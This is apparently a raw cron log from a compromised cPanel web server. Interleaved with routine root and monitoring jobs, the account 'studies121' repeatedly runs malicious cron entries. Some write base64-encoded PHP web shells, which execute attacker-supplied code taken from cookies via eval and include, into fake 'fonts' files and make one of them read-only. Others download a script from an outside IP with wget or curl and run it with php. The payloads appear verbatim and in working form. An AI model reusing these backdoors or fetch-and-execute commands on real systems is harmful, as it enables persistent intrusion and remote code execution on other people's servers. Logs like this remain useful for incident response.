Sep 21 06:52:02 ip-184-168-122-23 CROND[8143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:52:02 ip-184-168-122-23 CROND[8140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:53:01 ip-184-168-122-23 CROND[8354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:53:01 ip-184-168-122-23 CROND[8356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:53:01 ip-184-168-122-23 CROND[8359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:53:01 ip-184-168-122-23 CROND[8357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:54:01 ip-184-168-122-23 CROND[8492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:54:01 ip-184-168-122-23 CROND[8494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:54:01 ip-184-168-122-23 CROND[8497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:54:01 ip-184-168-122-23 CROND[8496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:54:01 ip-184-168-122-23 CROND[8495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:55:01 ip-184-168-122-23 CROND[8682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:55:01 ip-184-168-122-23 CROND[8684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:55:01 ip-184-168-122-23 CROND[8683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:55:01 ip-184-168-122-23 CROND[8686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:55:01 ip-184-168-122-23 CROND[8687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 06:55:01 ip-184-168-122-23 CROND[8688]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 06:56:01 ip-184-168-122-23 CROND[8904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:56:01 ip-184-168-122-23 CROND[8905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:56:01 ip-184-168-122-23 CROND[8908]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:56:01 ip-184-168-122-23 CROND[8910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:56:01 ip-184-168-122-23 CROND[8909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:57:01 ip-184-168-122-23 CROND[9054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:57:01 ip-184-168-122-23 CROND[9056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:57:01 ip-184-168-122-23 CROND[9058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:57:01 ip-184-168-122-23 CROND[9057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:58:01 ip-184-168-122-23 CROND[9242]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:58:01 ip-184-168-122-23 CROND[9245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:58:01 ip-184-168-122-23 CROND[9244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:58:01 ip-184-168-122-23 CROND[9248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:58:01 ip-184-168-122-23 CROND[9247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:59:01 ip-184-168-122-23 CROND[9384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:59:01 ip-184-168-122-23 CROND[9385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:59:01 ip-184-168-122-23 CROND[9386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:59:01 ip-184-168-122-23 CROND[9388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:00:01 ip-184-168-122-23 CROND[9645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:00:01 ip-184-168-122-23 CROND[9651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 07:00:01 ip-184-168-122-23 CROND[9650]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:00:01 ip-184-168-122-23 CROND[9653]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 07:00:01 ip-184-168-122-23 CROND[9648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:00:01 ip-184-168-122-23 CROND[9649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:00:01 ip-184-168-122-23 CROND[9655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:00:01 ip-184-168-122-23 CROND[9652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 07:01:01 ip-184-168-122-23 CROND[9778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:01:01 ip-184-168-122-23 CROND[9779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:01:01 ip-184-168-122-23 CROND[9780]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 07:01:01 ip-184-168-122-23 CROND[9783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:01:01 ip-184-168-122-23 CROND[9784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:01:01 ip-184-168-122-23 CROND[9786]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9780]: starting 0anacron
Sep 21 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9799]: finished 0anacron
Sep 21 07:02:01 ip-184-168-122-23 CROND[9945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:02:01 ip-184-168-122-23 CROND[9949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:02:01 ip-184-168-122-23 CROND[9947]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:02:01 ip-184-168-122-23 CROND[9950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:02:01 ip-184-168-122-23 CROND[9948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:03:01 ip-184-168-122-23 CROND[10117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:03:01 ip-184-168-122-23 CROND[10116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:03:01 ip-184-168-122-23 CROND[10120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:03:01 ip-184-168-122-23 CROND[10121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:04:01 ip-184-168-122-23 CROND[10246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:04:01 ip-184-168-122-23 CROND[10248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:04:01 ip-184-168-122-23 CROND[10249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:04:01 ip-184-168-122-23 CROND[10250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
